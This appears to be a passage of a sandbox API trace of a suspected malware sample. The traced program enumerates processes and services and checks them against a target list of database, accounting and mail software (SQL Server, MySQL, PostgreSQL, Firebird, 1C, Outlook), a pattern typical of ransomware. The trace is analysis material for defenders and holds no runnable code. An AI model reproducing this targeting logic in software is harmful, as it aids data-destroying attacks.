lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0147.964] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0147.964] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0147.964] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0147.964] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0147.964] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0147.964] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.965] lstrlenW (lpString="lsass.exe") returned 9 [0147.965] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0147.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0147.965] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0147.965] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0147.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0147.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0147.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0147.965] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0147.965] lstrlenW (lpString="lsm.exe") returned 7 [0147.965] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0147.965] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0147.965] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0147.965] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0147.965] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0147.965] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0147.965] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0147.965] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.966] lstrlenW (lpString="svchost.exe") returned 11 [0147.966] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0147.966] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.966] lstrlenW (lpString="svchost.exe") returned 11 [0147.966] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0147.966] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0147.966] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.967] lstrlenW (lpString="svchost.exe") returned 11 [0147.967] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0147.967] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0147.967] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0147.967] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0147.967] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0147.967] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0147.967] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0147.967] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.967] lstrlenW (lpString="svchost.exe") returned 11 [0147.967] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.968] lstrlenW (lpString="svchost.exe") returned 11 [0147.968] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.968] lstrlenW (lpString="audiodg.exe") returned 11 [0147.968] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.968] lstrlenW (lpString="svchost.exe") returned 11 [0147.968] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0147.969] lstrlenW (lpString="userinit.exe") returned 12 [0147.969] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.969] lstrlenW (lpString="explorer.exe") returned 12 [0147.969] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.969] lstrlenW (lpString="dwm.exe") returned 7 [0147.969] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.970] lstrlenW (lpString="svchost.exe") returned 11 [0147.970] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0147.970] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0147.970] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0147.970] lstrlenW (lpString="spoolsv.exe") returned 11 [0147.970] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0147.971] lstrlenW (lpString="reader_sl.exe") returned 13 [0147.971] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.971] lstrlenW (lpString="svchost.exe") returned 11 [0147.971] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0147.971] lstrlenW (lpString="taskhost.exe") returned 12 [0147.971] Process32NextW (in: hSnapshot=0x394, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0147.972] CloseHandle (hObject=0x394) returned 1 [0147.972] Sleep (dwMilliseconds=0x1f4) [0148.576] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b4d8 [0148.649] EnumServicesStatusExW (in: hSCManager=0x428b4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0148.649] GetLastError () returned 0xea [0148.649] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0148.649] EnumServicesStatusExW (in: hSCManager=0x428b4d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0148.649] CloseServiceHandle (hSCObject=0x428b4d8) returned 1 [0148.649] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.650] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.650] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.650] lstrlenW (lpString="AudioSrv") returned 8 [0148.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0148.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0148.650] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0148.650] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0148.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0148.650] lstrlenW (lpString="BFE") returned 3 [0148.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.650] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.650] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.650] lstrlenW (lpString="CryptSvc") returned 8 [0148.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0148.650] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0148.650] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0148.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0148.650] lstrlenW (lpString="CscService") returned 10 [0148.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0148.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0148.650] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0148.650] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0148.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0148.650] lstrlenW (lpString="DcomLaunch") returned 10 [0148.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.650] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0148.650] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0148.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0148.650] lstrlenW (lpString="Dhcp") returned 4 [0148.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0148.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0148.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0148.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0148.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0148.651] lstrlenW (lpString="Dnscache") returned 8 [0148.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0148.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0148.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0148.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0148.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0148.651] lstrlenW (lpString="DPS") returned 3 [0148.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0148.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0148.651] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0148.651] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0148.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0148.651] lstrlenW (lpString="eventlog") returned 8 [0148.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0148.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0148.651] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0148.651] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0148.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0148.651] lstrlenW (lpString="EventSystem") returned 11 [0148.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0148.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0148.651] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0148.651] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0148.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0148.651] lstrlenW (lpString="gpsvc") returned 5 [0148.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0148.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0148.651] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0148.651] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0148.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0148.651] lstrlenW (lpString="LanmanWorkstation") returned 17 [0148.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.652] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0148.652] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0148.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0148.652] lstrlenW (lpString="lmhosts") returned 7 [0148.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0148.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0148.652] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0148.652] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0148.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0148.652] lstrlenW (lpString="MMCSS") returned 5 [0148.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0148.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0148.652] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0148.652] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0148.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0148.652] lstrlenW (lpString="MpsSvc") returned 6 [0148.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0148.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0148.652] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0148.652] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0148.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0148.652] lstrlenW (lpString="NlaSvc") returned 6 [0148.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0148.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0148.652] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0148.652] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0148.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0148.652] lstrlenW (lpString="nsi") returned 3 [0148.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0148.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0148.652] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0148.652] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0148.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0148.652] lstrlenW (lpString="PcaSvc") returned 6 [0148.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0148.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0148.653] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0148.653] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0148.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0148.653] lstrlenW (lpString="PlugPlay") returned 8 [0148.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0148.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0148.653] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0148.653] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0148.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0148.653] lstrlenW (lpString="Power") returned 5 [0148.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0148.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0148.653] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0148.653] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0148.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0148.653] lstrlenW (lpString="ProfSvc") returned 7 [0148.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0148.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0148.653] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0148.653] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0148.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0148.653] lstrlenW (lpString="RpcEptMapper") returned 12 [0148.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0148.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0148.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0148.653] lstrlenW (lpString="RpcSs") returned 5 [0148.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0148.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0148.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0148.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0148.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0148.653] lstrlenW (lpString="SamSs") returned 5 [0148.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0148.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0148.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0148.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0148.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0148.654] lstrlenW (lpString="Schedule") returned 8 [0148.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0148.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0148.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0148.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0148.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0148.654] lstrlenW (lpString="SENS") returned 4 [0148.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0148.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0148.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0148.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0148.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0148.654] lstrlenW (lpString="ShellHWDetection") returned 16 [0148.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0148.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0148.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0148.654] lstrlenW (lpString="Spooler") returned 7 [0148.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0148.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0148.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0148.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0148.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0148.654] lstrlenW (lpString="SysMain") returned 7 [0148.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0148.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0148.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0148.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0148.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0148.655] lstrlenW (lpString="Themes") returned 6 [0148.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0148.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0148.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0148.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0148.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0148.655] lstrlenW (lpString="TrkWks") returned 6 [0148.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0148.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0148.655] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0148.655] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0148.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0148.655] lstrlenW (lpString="UxSms") returned 5 [0148.655] lstrcmpiW 